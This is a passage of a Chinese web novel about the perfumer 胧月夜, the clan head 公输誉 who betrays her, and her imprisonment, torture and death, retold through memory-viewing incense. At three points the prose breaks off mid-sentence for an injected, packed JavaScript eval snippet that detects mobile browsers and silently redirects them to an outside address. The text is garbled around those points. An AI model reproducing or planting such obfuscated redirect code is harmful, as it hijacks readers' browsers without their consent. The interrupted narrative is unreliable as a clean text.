两人在谷中又相伴了一段时间,他在湖边亭中练字,她便靠在一旁钓鱼;她兴致好画了张图纸,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107052|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便能不多时造出图纸上栩栩如生的机甲傀儡;或花间漫步,对月饮酒,那是记忆中她最珍藏的时光,是她秘密的欢喜。 一日公输誉收到一封傀儡鸟寄来的家信,信为他安插在公输霆身边的密探所写,道公输家现在群龙无首乱成一团,叔父公输霆自知上次暗杀失败,公输誉尚活在人世便加紧扩大势力遍及范围。 信中着重点了一句,公输霆已软禁了主家总管云姨。 公输家本家总管晚云是公输誉在族中最亲近的人,生母在他生后不久重病去世,是云姨视如己出抚养他长大,教他偃术,教他权谋,她明里暗里为了扶持稳他的家主之位倾尽全力。 即便族中常有琐碎之人嚼舌根,道大夫人当年重病之死约莫和总管晚云脱不了干系,但公输誉确是一直尊敬这位长辈,没有半点不敬。 他自收到信后,整宿的心神不宁,第二天和胧月夜道担心族中事务,必须回公输家一趟。 胧月夜见他坚持便也没有犹豫答应下来,告知他静花谷的密道,两人约定好,待公输誉处理完家中内乱安定下来,他便回揽月峰接她。 顾千芊一幕幕看下去,知道了事情的始终,或是除开以上这些回忆,不一样的地方,是什么导致这结局如脱缰的野马撞上悬崖一般无法挽救。 既然胧月夜的下场是个彻头彻尾的悲剧,她想要知道这场悲剧的起由与真相。 或许公输誉实在是哄骗人心的演技高手,他的温柔是让人麻痹的表象,他的体贴暗藏致命的寒刀,从少时接掌公输家至今,数次化险为夷,临危不惧,确实是个出色的权术者。 他能在公输霆面前成功伪装成软弱依赖的年幼家主,骗取他的松懈后,却以迅雷之势培养出一批秘密势力足与筹谋多年的叔父对抗,在晚云面前是孝顺而从不忤逆的晚辈,谁料他早早调查出她和公输霆勾结的证据,按兵不动,蛰伏许久,直到将她的余党一网打尽。 而胧月夜,或许是他所有布局中最重要的棋子,这一步棋下的毫无差错,相遇是意料之外,他利用了这意外的感情,为了彻底了解她,花最小的代价将她囚禁,为了得知父亲战死的真相,南滇国一战背后隐藏的阴谋。 他一步步稳稳的坐牢了家主之位,族中再无人不服这位年轻的家主。而她一步步踏入他准备好的陷阱深潭,为时已久,万劫不复。 18. 香境(五) 自分离后,胧月夜一直安静地在静花谷等待公输誉归来,七日后,等来的却是公输家的刺客。 他们不知从何得知的静花谷密道通路,谷中只胧月夜一人,寡不敌众重伤被擒,谷中亭台花草俱毁。 爱恨与恩怨,在大火中只烧得仅剩一把清灰,嗅得清阴谋与硝烟,还有渐远的风月。 由公输家重兵看守的水牢,周围一片死寂,潮湿的阴暗几乎让人窒息,沉重的镣铐铁链锁住那纤细的人影,白衣上染了大片暗色的血迹,女子长及踝的黑发披散下来遮住了脸庞,辨不清她的表情。 牢卒恭敬的道了声主上,胧月夜半跪在地,朦朦胧胧间听到声音抬起头,看到停在自己眼前的一双皂靴,是他?不,不是他,眼前的只是公输家的家主,公输誉。 她低低笑出声来,牵动了被刺客刺伤的伤口,不过这些痛如今对她也算不上什么,这些个月来,她受完了公输家的所有狱罚,可真是大方,她只能生生忍下那催魂蚀骨的痛。 为了逼问出南滇国一战的真相,公输家想知道的秘密,他们一开始想用返魂香,可谁料胧月夜身为天香殿的妙香师,对香的敏感与耐性让人无法彻底搜取她的记忆,最后,他们只能选择用刑。 她其实不大经得痛,痛的昏过去后再一次次被痛醒过来,恍惚间自嘲怎么一个不落都忍下来了,在昏暗无光的折磨中,胧月夜第一次心生死意。 死了便好,弃置尸野也无妨,百年后红颜枯骨大雪茫茫,白忙忙一片天地一片干净,或许是最好的结局。 终究还是醒着面对,从一开始的看到刑具不自主的咬牙发抖,到后来能坦然看着狱卒摊开来一把淬了药的针,叹着气看着这次指尖的伤口离上回又偏了几分。她想着想着一边笑一边喘,浑身在微微发颤,疲惫的闭上了眼睛,想问什么,没有必要问。 族中长老们上前叹道到是个顽固的,原本风华绝代的妙香师如今狼狈的委顿在地,用尽了刑具拷打,竟仍是未逼问到半分答案。 牢中光线昏暗,过了不知许久,听到熟悉的嗓音响起,冷淡一如往昔,胧月夜死死抓紧将手腕勒出道道红痕的镣铐,他说:动手罢。 她突然想努力抬头看一眼他的表情,苦笑,猜那应只有鄙夷与冷淡罢。 不过是一场他导演的戏,戏里他游刃有余的为了自己的目的变换角色,而她则是傀儡戏里被他牢牢掌控在手心,任人摆动的傀儡。 她在一阵一阵剧痛中半昏过去,倒在潮湿阴冷的地牢底,连呼吸都要耗尽大半力气,四周只有水珠滴落的声音。 记忆里残存的视线是有个公输弟子悄悄而来,半跪道有急密报,那人沉默半刻后只道了句三日后再来,便匆匆离开。 三日后,胧月夜没有等到公输誉,牢中有不速之客来探望她,长裙裾扫过牢狱内阴森的石阶,窸窣的声响让胧月夜清醒,她抬起头,待看清楚来人的面庞,眉目弯弯:“我料到你肯定会来,没想到这么快。” 咳了一声:“你会来见我,看来外面的诸项事宜已经处理妥当。” 来人拢了拢兜帽,额间眼角隐约有皱纹显现,却也能猜到年轻时也是个少见的美人,公输家的本家主管,公输誉的长辈云姨,云家分支一脉的孤女,云晚歌。 她垂下头看着胧月夜身上累累的伤痕,眼神几乎怜悯:“你一向聪慧。” 牢中死一般的寂静,半晌,胧月夜突然低低笑了一声:“自南滇国一战时你和迦灵姐姐联手,已过去那么多年,公输靖一生磊落果断,为公输家的前途与珩朝勤恳付出,为此甚至不惜抛弃最初的恋人……可惜,到头来还是败在一个情字上。” 勉强喘了口气:“那一战的真相阴谋,他其实看的清清楚楚。或许,他到底心存内疚知负了你,担心郭绍知晓通敌实情后会对你不利,为保你平安斩上将头颅后以身殉国。本以为你能自此消了恨意,可没想到权欲薰心,你还是不满足,扶持公输誉成少主在明,调兵笼聚势力在暗。可没料到公输誉不甘被放权为傀儡,又因公输霆的内乱,两方只得暂且按兵不动,只等矛盾爆发,时机到来。” 提到公输靖,云晚歌身子狠狠颤了颤,握紧了狱门的铁栏,用力到指骨间泛白:“你不懂,我必须要这么做,若是他不逼我……我不想杀他。”所以,她可以不让公输誉死,但他不能知道真相。 “誉儿他从小便是个有主见的,那日他被公输霆埋伏中计,早就遣了死士在暗处救援,打算诈死后在途中从长计议,可没想到竟被你救走。他最厌恶的就是被游戏被欺骗,得知你身份后必怀恨在心,可为了大计,知你除了揽月峰外还有另一处秘密居所,为了得到静花谷的密道图,只得与你周旋许久。” “这些情理……估计你早就猜的到,不然你也不会提前支开自己的徒弟,让他安全脱身。”牢中的灯光昏昏沉沉,风不停留,何苦绕来摇晃灯火。 云晚歌转过身:“你道公输靖重情,最终却败在一个情字。可叹你虽机警,也被这字迷了眼睛,公输誉稍稍使计,不过逢场作戏,你便用足真情,满盘皆输。” “算是故人一场,我这次来,就当告诉你实情,好让你心中明白,也当和你告个别罢。” 心口疼痛愈发剧烈,痛到几乎让她思绪恍惚。其实她一直有点羡慕云晚歌,公输靖至死都牢牢念着她,违背承诺的无奈与不甘,便让他用这辈子偿还。 烈烈黄沙下将军的铠甲冰凉,他明知是死局,明知有阴谋,还是慨然一笑赴死,为云晚歌如愿,为她还恨。 而胧月夜呢?武安侯为她的美貌倾倒,锦绣美酒琉璃宫,风流的王侯及尽奢靡的讨好,夜夜笙歌醉生梦死,恣意饮下一杯又一杯的佳酿。 有书里痴情公子为心仪的美貌乐伶掷尽家财非卿不娶;轶闻里高傲的千金小姐看到如意郎含羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107053|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回首却把青梅嗅;市井里平凡的编木匠辛苦攒足了碎银去换一只素簪做发妻的生辰礼;又有戏台上的丽娘捏了把缠绵柔软的嗓子,唱尽戏本里的哀怨:“原来姹紫嫣红开遍,似这般都付与断井颓垣。良辰美景奈何天,便赏心乐事谁家院……” 这些红尘里的情爱,看的让人微醺。 她不懂,却想去彻底醉一场,多少青年公子的珍奇馈赠,为夺佳人一笑,她长袖善舞巧笑周旋,无事需寻欢,有生莫断肠。 有个纯良的贫贱书生,初次见她便惊为天人不知朝夕,大段的诗词歌赋,满篇的倾慕与赞美。她觉得他似乎不同,便假意真心告知真相,段安郎不善甜言蜜语,却将海誓山盟发的掷地有声,言言切切,许诺等他。 几年后等来的是欲致她死地的公输家杀手,和一篇让他才名大盛的假惺惺的传奇悼赋。美人再美也不能如京城里的郡主能助青云直上,再美也只是个罪人,托她艳名博个多情才子的美称,不过如此。 不过如此。她用幻香术入他的梦境,笑吟吟的看着他,他痛哭流涕的忏悔,惊恐有报复,怕自己的前程毁于一旦。 你若想求得我的原谅,便去崖州的绝岭深潭采沉水香来。他匆匆忙忙的狼狈走了,自去南海后却再也没有消息。有谁知道南海的沉水崖遍及可致命的瘴毒呢,左不过知道的人,都没有机会回来。 在酒中蹉跎浮生,随意在浮花浪蕊中打发光阴,在感情中掠水而过撇的干干净净,有人唤她祸水,有人怨她无情,她以为这一生,也不过仓促的游戏一场。 却没想到能遇到公输誉。 一开始她只是惜才,后来是好奇,最后到沉沦。从不自觉爱看他烛灯下做傀儡时冷峻认真的侧脸时开始,她不甘心,她拼死想要去争一争,即便猜到了结局,也要赌一把,可事实残酷至斯,她的倾尽付出,与那些真情实意,想来到是有些可笑了。 兜兜转转找到了自己最想得到的,却报应般落到了这个田地,可不是也败在了一个情字。 突然想起了玉姬夫人,南滇国的迦灵公主。她是否也曾有过这般哀默心死的枯寂心境。 牢中昏黄的烛火摇晃,倒映在墙上的影子隐隐绰绰,她沙哑着声音苦笑:“我猜到的,最不想发生的,终究还是都发生了。如今你达到了目的,看我这般……可是解恨了?”复又自嘲的摇摇头:“不可能罢。只不过一颗棋子,该弃便弃,你怎会在意。” 再闭眼,触及脸颊冰凉,不知不觉已湿了一片。这样的结局,她纵使性情再豁达洒脱——终是有些受不住。 当日,公输家的牢狱意外走水,炽热的火焰冲天,牢中禁犯困于火中无一幸存,待火熄后成一片废墟。 胧月夜葬身火海。 那颗布满裂痕的返魂香丸幽幽闪着光,细纹一点点蔓延开来,破碎的声响一点点放大,最终裂成了一地香屑,无可复原,黯淡无光。 19. 真相(一) 樱景山是赏樱胜地,每年花开季节,慕名而来的游客几乎要踏平了这一排蜿蜒的山道石阶,不久前这整座山都被公输家以天价买下后,便清净了许多。 理由很优雅,家主道每年三月来赏花时,不喜碌碌而来的游人相扰,言沾了几分俗尘,就少了属于樱花清寂的别致。 樱林深处有一条宽阔小溪,一路赏花闲聊,沿着山石台阶一步步走,小溪上铺满落樱,浅色的花瓣重重叠叠,像一条柔软华丽的缎带缀在溪水的款款腰肢。 这樱花缭乱的盛景美的赏心悦目,美的让人想不开,翩翩花雨随风飘摇漾于湖中,恰如一首清婉的长短句。 有慕名而来想细读此间诗意的,也有不少特地赶来愿在诗里行间或自杀或殉情的,五年前芜城有名的花魁云巫正值芳龄时跳入樱河中自杀,美人香消玉陨,她只道容颜易老芳华将逝,不如永远凝驻于最绚烂的时光中。 有人在她随身佩带的香囊中看到了绘着小诗的香笺:只为易零落,樱花越可珍。君看浮世上,何物得长生? 漂亮的姑娘或许有点冷傲,自恋的姑娘或许有点固执,漂亮且自恋的姑娘或许有点偏激,顾千芊琢磨着,偏激的云巫姑娘大概是赏樱时感伤岁月如逝水落花般无情,领悟到将美好的东西摧残于绽放的时节,或许也是另一种所谓的永恒。 诗人的思维都是很难理解的,没文化的顾千芊自然不会懂花魁如樱凋零的风情,只觉得美人可惜此举荒谬,姑且先不谈云巫此举的正确性,重点是她这一举动即刻引发了名人效应,每年三月十五的云巫坠河纪念日,赶来樱景山投樱流海自杀的人成指数比例增长。 风吹花动香杳然,花动焉?风动焉?仁者心动耳。 有人赏樱叹岁月无情,不若如花雨一般华美中谢幕;有人却赏樱林叹流光不待,要好好把握方不须来人世走一遭,有花堪折直需折,莫待无花空折枝。 搞文化偏激走歪路的毕竟是少数,为博名盲目随众投河求风雅的也不为多,只要保持心境健康多出去走走,会发现其实花很美好,人生也很美好。 樱枝交错,风一吹,花瓣细细碎碎的飘落下来,似赤雪纷飞,空中有清淡的芬芳。 樱林深处,这里的樱花不再是一路过来的深浅粉色,而都是珍奇的名品,有青碧霭霭的御衣黄,有深色艳丽的寒绯樱。 顾千芊连连惊叹,目光触及那一株于正庭盛放的高大寒绯樱,蓦地脑海中浮现一个白色的身影。 想到昨日返魂香中的记忆,心头忽的涌上一阵难过。 胧月夜,于香境中窥得往事,她似乎是偏爱寒绯樱,隐居的静花谷里也到处可见这种清冷艳绝的樱花。 宋云舒也似是想到了此处,看着半空中悠悠飘落的花瓣轻轻一叹:“传闻到底难辨真假,不过关于云晚歌的故事,我之前倒也曾听说过大概。” 顾千芊忙追问:“云晚歌?” 宋云舒打开绘着樱花的折扇:“公输靖少时离家,寻访机甲术时曾偶遇一位少女,切磋来往数次,两人志气相投惺惺相惜,后表明心迹两情相悦,私下定下终身。那位少女就是云家偏远一脉的小女儿,云晚歌。那时两人都不知道对方的真实身份,公输靖离开前道和父兄说明后便来提亲,可云晚歌在家等了一年也不见郎君接她,她性子固执,毅然收拾行囊离家去寻他。” 云晚歌找了整整三年,最后发现心上人竟是家族的死对手,公输家的少主,而更没料到公输靖为了救当时锒铛入狱的父亲,屈服于家族的压力妥协,两年前已和左相的女儿成亲。 木已成舟,公输靖有不得已的苦衷,夫人已怀有身孕,云晚歌黯然后打算退出这段感情。可她因私定终身和离家出走的事和家族闹翻决裂,好在夫人明理,知晓来龙去脉后答应了公输靖让她化名晚云,暂时躲避在公输家中。 两人相处也算融洽,公输靖夫人身子素来虚弱,临盆之际难产,最后孩子顺利降生,母亲生产后断断续续重病,没过多久便遗憾过世了。 云晚歌抚养公输誉长大,后来又承了本家主管之位,她性子温软和善,公输家上下无人不服她敬她。 不想她放不下当年的心结,对公输家恨之入骨,为了报仇不惜通敌卖国,南滇国一战,她不知用了什么手段,让大香师胧月夜出手,最后公输家败北元气大伤。 公输誉何等理智,根据蛛丝马迹开始怀疑云晚歌,而想确认害死父亲的真正凶手,想掌握事实证据,只能接近利用胧月夜。 而最后的最后,他也终是如愿以偿,不费心机一场。 樱林后谁唱起一支歌谣:“山上雪皑皑,云间月皎洁,闻君有两意,故来相决绝……” 宋云舒收了扇子,有些感慨。 顾千芊心头发凉,记得樱树间本有个白色清丽的身影,未拢的长发齐齐散落,手执酒壶潇洒快意,唇角那抹戏谑的弧度。 只是以后,再也见不到如此美人,如斯画景。 *** 胧月夜其实并没有死于公输家那场大火。 返魂香里看到的最后一幕,是一处山居隐宅,阳光打落散在枝间地上,被筛成点点光影,胧月夜懒洋洋的躺在屋前卧石上晒太阳,这一刻如此静好,恍惚间让人几乎忘了几日前森森牢狱时的阴冷。 随意挑了本诗册松垮的挡住脸,未闭目养神多久,有人将她脸上的诗册移开,女子清凌凌的嗓音有无奈之意:“我和云晚歌好不容易把你救出来,你又要往火坑里跳?” 来者是个宫装的紫衣美人,容颜倾城,竟和胧月夜有几分相似,墨玉般的青丝绾成飞仙髻,一支红玉珊瑚簪更衬得面若芙蓉,宽大裙幅逶迤身后,艳丽华贵。 胧月夜慢吞吞的坐起,笑了笑:“这辈子轰轰烈烈的体验已经够多了,人情冷暖,恩怨爱恨,不过如是。戏演完了要散场,这辈子即便短暂,但仔细想想,倒也没什么遗憾了。” 有幸得此倏忽之身,遍观红尘风花雪月,余愿足矣。 “自南滇国一战后,我误中公输家刺客幻香术的反噬,神识大不如从前,是以肆无忌惮地过着尽可能任性的日子。而如今,许是老天爷看不下去,便来收了我这祸水——” 她眉眼弯弯,云淡风轻:“迦灵,你是我在珩国唯一的亲人,现在看你在宫中独受宠爱尊贵非凡,倒也没什么需要我担心的了。” 她玩笑般哀叹一声:“好表妹,你知道,我没有时间了。” 紫衣美人皱紧眉头:“所以你要重新去那龙潭虎穴?你打算凭一己之力暗杀武安侯,是随性使然,还是为了公输誉?云晚歌到底还存着一点良心,只要公输誉不先动手,她便会留着他的性命。而现今你逃了出来,郭绍已死,知道秘密的只有武安侯一人,若是公输誉找到武安侯知晓了真相……你到现在还为他操心,想帮那个无情之人?” 胧月夜闭上眼:“那时战况惨烈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107054|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我因你和云晚歌相求才不得已出手,害死那么多人命,我也不能说自己全然没有责任。到底,是我亏欠着公输家。南滇国近年来韬光养晦,近年难保不会开战,只要杀了武安侯,可以减少生灵涂炭。我只是觉得,我活着是个拖累,而这样的死法,却可以让很多人活命,皆大欢喜,比安静等死要有意义的多。” 顿了顿,续道:“此番前去没有什么后顾之忧,我唯一担心的就是楚恪,他还是个孩子,跟了我这个不称职的师父也是不容易,我想拜托你,等一切平静下来后,暗中保他平安。” 迦灵抬眼看她,嗓音淡淡:“其实,我也是没有资格去劝你的,因为我比你……更执迷不悟。” 胧月夜一笑:“甚少看见你做这副表情,揽月峰用七巧锁锁着的酒窖里所有青梅酒桃花酒等,都归你了。等你到期颐之年,再去静花谷那棵最大的樱花树下将我用秘方酿制的酒挖出,百年陈酿,月圆时封入月圆时开封,名就为胧月夜。你将此酒带至我埋骨之地,醉上个千百来日,就算是久别后的老友畅饮了。” 迦灵一叹:“罢了,你这人一下定决心就不会变。临走前,我们再喝一回桑落酒,我到是期待,百年后的胧月夜到底有何不同?” ……不知桑落酒,今岁谁与倾?色比凉浆犹嫩,香同甘露永春。 胧月夜唇边勾出一抹笑意,良久:“多谢。” 十千提携一斗,远送潇湘故人。不醉郎中桑落酒,教人无奈别离情。 三日后的月夜,武安侯被发现一剑穿心暴毙于室内,刺客做的天衣无缝,毁了容辨不出原来的相貌,在被擒前果断自尽。武侯府大怒,将凶手头颅砍下,挂于梁上示众数日,再将身躯挫骨扬灰。 这才是胧月夜离开的实情,赴死都是那么干脆利落,是她一贯的作风。 *** 那一晚,楚恪做了一个梦。梦中初始只有迷茫茫的灰雾,灰雾笼住了所有的视线,视线里只在遥遥的远方隐约有个人影。茫茫宣纸上一撇无心有意的痕,划透纸背的清寂。 那是年幼的他,孤苦伶仃被人遗弃的孤儿,上山摘野果时坠落悬崖,摔伤了腿,抱紧了小小的身躯哭泣。 白衣女子踏波而来,笑嘻嘻的摸了摸他的脑袋:“你被抛弃,一直一个人,我也是一直一个人,不如,我们做个伴?” “你都给我磕过头了,那以后,我便是你师父了。” “还很疼?别担心,我只是去给你买伤药和桂花糖糕。” 小小的少年脸上泪痕未干,只知道固执的死死抓紧了女子的裙摆,画面模糊晕染开来,胧月夜无奈的拍拍他的肩膀,嘴唇动了动,声音极轻极轻。 “我不是个好师父,以后,我相信你一定会有很多朋友,所以,楚恪,就算现在师父走了,剩你一个人,你也要好好的……”所以,不要悲伤啊。 他捂住耳朵,大声摇头,向着那个远离的白色身影狂奔而去,磕磕绊绊不知摔了多少次,不去管,不去在意,他只是想要一直跟随面前的影子,却惊恐的发现两人的距离越来越远,那抹影子那么轻淡,仿佛下一刻就要随风而去。 迷雾渐渐散去,白色的身影悄然清晰,女子长至脚踝的青丝被风拂起,她转过头,面容将要浮现的刹那,似乎是笑了笑,眉目瞬间湮灭成细碎的花火。 师父,你果然还是已经离开了。 他醒过来,捂住眼睛,有泪水从指间滑落。 20. 真相(二) 揽月峰和静花谷已毁,胧月夜仅存的遗物,就是那日楚恪带回来的机甲匣。 那是一个用云檀木制成的陈旧长盒,上面用朱笔在边角绘染开一朵俏丽的寒绯樱,斑驳木漆瞧着已有些年头,正中落着一把银色的玲珑锁,这机甲匣应该出自公输誉之手。 顾千芊费力解了玲珑锁,银制的机关喀哒落地,小心翼翼打开长盒,她惊讶的睁大了眼,里面竟是一卷画和一枚龙雀玉佩。 这卷画用幻香粉掺杂的颜料绘成,迷香氤氲,为渺茫的意识织一场虚幻的美梦,笔墨点染描出一幅真切的画境,若有缘人偶然坠入香境中,便可知画者昔日所绘之景之情,虽此身长逝犹有丹青,封存的记忆便似风干后苍白艳丽不会枯萎的花,永远的绽放于画迹间,偶然间被人撷于指间,也能依稀凭借花香寻得往昔的残影。 既然这是被胧月夜所珍视的一幅画,那么画中人,画中事,应该是她最珍视的回忆。 顾千芊和宋云舒一起步入香境,和尘世间已是黄昏时刻不同,这画中的景致正是清晨,繁花绕眼绿草如茵,顾千芊惊叹的睁大了眼睛,香境之术果真不同凡响,这一幕幕完全像是活生生的景致,有黄莺啁啾,还有清风拂面。 翻开这一段画景,这一幕珍藏的回忆。 春色如酒,窗棂外的寒绯樱开的俏丽多情,一朵初绽的浅色五瓣樱花悠悠飘进窗来,悄然落在书案上的墨玉砚台旁,案边执笔点墨的玄衣男子微微皱起了眉头,抬起修长的指尖,将花瓣拂至一边。 看香境中的公输誉眼神瞥过来,站在窗外树下张望的顾千芊下意识欲躲藏起来,被宋云舒轻轻拉住:“别担心,他看不见我们。” 画境只是现实的倒影,步入画境的人可以看这固定的戏幕开演至结束,却也只能静静看着而已。 公输誉挽起衣袖口,白毫笔轻轻蘸了点水墨,抬眼一看对面倚靠在美人塌上的白衣女子,再缓缓运笔,画迹如行云流水般平稳有力,勾勒出女子秀致的眉,杏子般的眼,颈间一环弯弯的月玦。 如画之人绘画中景,春景的融融日光洒得窗里来,却照得男子专注的眼眸愈发清冷,翩翩公子执笔绘画的颀长身姿,雅致如一首措辞古朴清韵的长短句。 “好了。”声音里隐约有几分柔软的意味,脸上却依旧沉着无半点涟漪。 胧月夜偏开头一笑:“让我瞧瞧。”白色的身影一闪,话还未落地,人已飘至案旁倚在他身侧。 画中的白衣女子手中握着一卷诗册,懒懒的倚靠在美人塌上小憩,几分倦意,轻淡的笑似一朵易凋零的樱花,转瞬即逝的绽放在她的唇角。 胧月夜正打量的出神,忽有几朵绯红色的樱花施施然又飘进窗来,几片纤细的花瓣落在画中女子白色纱裙,不经意间一瞥竟像是融入了画中。 她兴致盎然的匀了匀墨,提笔思索片刻:“好景好画不配好词,就像这大好春光不见樱花绽放一般少了些趣味。我提个残阳入酒,山林晚风,凭窗倦看绯樱落,怎么样?” 公输誉默了片刻,淡淡道:“不妨把倦字改成慵字。” “为何?” “倦字有阑珊之意,不及慵字写意风流。” 胧月夜倏忽一笑:“妙极。这么说来,你也算我的一字之师了。” 她执笔提字,短短几行写的飞快,极潇洒的一行草书,颇有些闲云野鹤的清雅味道。 提完字,却没有即可放下笔,抵在下颌似是想到了什么,眸光流转,看着眼前的男子,妩媚的柔柔一笑,哼起几日前新看的曲文:“唤起思量,待不思量,怎不思量。想着和他相偎厮傍,知他是千场万场,我怎比司空见惯当寻常?” 公输誉一抖,叹气:“又是哪里看来的?” 她装模作样的靠过去,指尖触到他的眉心,端出风流才子的架势,笑眯眯的调戏:“花比他不风流,玉比他不温柔,端的是莺也消魂,燕也含羞。” 他将她手捉住,哄道:“别闹。” “郎君便是铁石人,铁石人也动情。”她笑着缩回手,眨眨眼:“凡人有句词,被酒莫惊春睡重,赌书消得泼茶香,你说,那种细水长流相敬如宾之情,是不是就是这样的?” 几瓣樱花不依不饶的伴着习风吹入窗棂,落花缀上了她的长发,公输誉低下头想替她拂去,指尖触到柔软的青丝,像是绣了绯色寒樱的丝滑锦缎。 她的头发实在是长,墨一般在白色的衣裙上晕染开来,让人移不开眼,他没有回答,只扶住她的肩膀淡淡道:“别动。” 指尖摘下一朵娇艳的落樱,微微俯下身,将花别到她的鬓边。 她愣了一愣,绽开一笑,明艳的丽色将鬓边的花也比下去几分:“我听说人间的情分很多种,有的轰轰烈烈,有的至死不渝,有的细水长流,端看经历的人怎么去对待这份情……我读不大懂这些,不过,我们这样,就已很好。” 春光旭暖,窗棂外的寒绯樱依旧在悠悠飘落,清风习习,花香隐隐,屋内两人相依偎的场景渐渐朦胧,最后淡成一幅写意的剪影。 那一个漫长的春天,永不凋零的繁花盛景,妙笔丹青,细细描绘,一处琴瑟相和,一桩情好难分。 他们谈过偃术,论过诗词,奏过曲调,绘过花鸟……这一切,深深镌刻在这一方画境中,至今明晰。 对紫陌红尘的向往,对烟火尘世的怀念,这种沉迷不为醉生梦死。 胧月夜本是尘外一壶多情的酒,而酒这东西本就该属于市井红尘,天命风流,凡心难改。 这副画境让顾千芊有些难过,以及动容。 若是两人的时光就静止在相濡以沫的那一刻,也没什么不好。 可人生总是不如人意,分离的残酷只因相遇那么美,谎言与假象是脆弱不堪的琉璃,美好却不该靠近。因为不爱,所以无可挽救。 *** 下午谢谣急急忙忙赶过来找顾千芊,道楚恪不知怎的失踪了一上午,两人心中担忧是否被公输家找上门掳走,跑出门在芜城各大街道搜寻了许久,依旧没有半点消息。 两人焦头烂额疲倦到不行,拖着步子回到宅邸,却见楚恪和宋云舒两人正安安静静的坐在院中,楚恪衣冠完整,毫发无伤,只是那模样十分的颓唐。 还没待顾千芊细问他一上午的行踪,却见楚恪默默的把一枚精致不菲的龙雀玉佩放在桌上,看着她,轻轻道:“千芊老大,可能 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似一颗星子突然爆裂开来,碎落的光芒坠下四散,终于看到光明从眼中漫开,虚无景物顺着光亮渐渐显现,似一幅晕开的水墨图,一寸寸铺满眼睫。 楚恪知道,胧月夜表面上心思玲珑剔透,对情之一字却不大了解,在段安郎为她前往崖州采香殒命后,她看起来依旧淡淡,却也对俗世红尘的纷扰上了心,起了兴致,想探探到底有无所谓欢喜幽怨皆系于此的真情。 她曾用寐月姬所赠的画皮面具伪装成贵公子,光顾芜城最大的秦楼楚馆,不为消遣找乐子,只花了银子听那些姑娘们叙一段过往风月。 楚恪猜,她或许只是纯粹的好奇。 他从来见到的都是她潇洒肆意的模样,快活洒脱的模样,可自与公输誉相遇,她就便变得多思多虑,有时候看到月夜时她坐在樱花枝头,看着窗前的侧影发呆,连手中的清酒已冷都未察觉。 情让她变得不像自己,她改了任性妄为的性子,小心翼翼,倾尽全力的对他好。 而公输誉,家仇国恨与她脱不了干系,身为公输家的家主,他心中必定不甘,两次意料之外的相救加上揽月峰时尚且融洽的相处,他或许已不大那么恨她,但不妨碍他继续利用她,扫清障碍,铺平眼前必经的路。 若是他心中有师父一点点的位置,也不会眼睁睁的看着揽月峰被毁,她被公输弟子重伤擒住,不会放任她在牢狱受尽折磨,哀莫大于心死,那样的生不如死。 他可能已经不恨胧月夜,却绝对不可能爱上她。 而返魂香调出的梦境,浮梦花和琉璃蝶编织出的这一幕幕,将这么一件不可能的事情如此清晰的剥离出来,展现在他的眼前。 公输家的家主公输誉,隐忍而年轻的族长,无论何时何地都是那样冷肃沉稳,不露半点情绪波动,让人揣摩不到他内心在想什么,他也从未让别人揣摩透过内心的思绪。 返魂香的香气袅袅,他在梦中感受的清清楚楚,挣扎的爱恨,他的不甘与痛苦,他最深深的,心底的情愫。 21. 返魂(一) 公输誉小时候过的并不太平。 父亲身为公输家长子常年出门在外,或许是因着不喜母亲的缘故,公输靖对这个唯一的儿子也从来都是淡淡的,谈不上冷落,却也从未亲近过。 生母在他出生时难产,不久后身子虚弱加重病病逝。几个叔伯眼中只想着如何争夺家主之位,从不把这个小少主放在眼里。 是云晚歌陪他慢慢长大,教他机甲术,在各个叔伯家主明里暗里的诡计陷害中保他平安,亦师亦母。 他小时候断断续续从下人的口中听闻了往事,云姨是父亲公输靖的初恋情人,是她陷害了母亲难产后重病去世……他从朱红色回廊的那一头穿过来,琐碎嘈杂的闲谈声戛然而止,回廊尽头的女子面容清秀却已不再年轻,云挽歌冲他微微一笑,揉了揉他的脑袋。 公输家的家主向来是有能力者居之,是以公输靖虽是嫡出少主,却仍要时时刻刻提防着对家主之位虎视眈眈的叔伯辈,他从小沉稳早熟,对谣言并未在意,在大伯恶意的中伤与挑拨中,他拉着云晚歌的手慢慢向前走,一边思虑。 握紧他的女子的手是那么温暖,是她抱着尚年幼的自己在膝上教导权谋和机甲术,是她在他打盹时唱悠扬的歌哄他入睡,在生病的时不眠不休熬红了眼睛喂他喝药,是她在叔伯刁难时站在他面前不亢不卑,一次次帮他化险为夷,帮他稳固住少主之位。 他从未有,也不愿有警惕与怀疑,他从来都是感激且尊敬的唤她一声,云姨。 渐渐的,他的偃术愈加精湛,也能看明大伯的刁钻刻薄,堂叔的贪婪狡诈,能处理的游刃有余,性子也愈发波澜不惊。 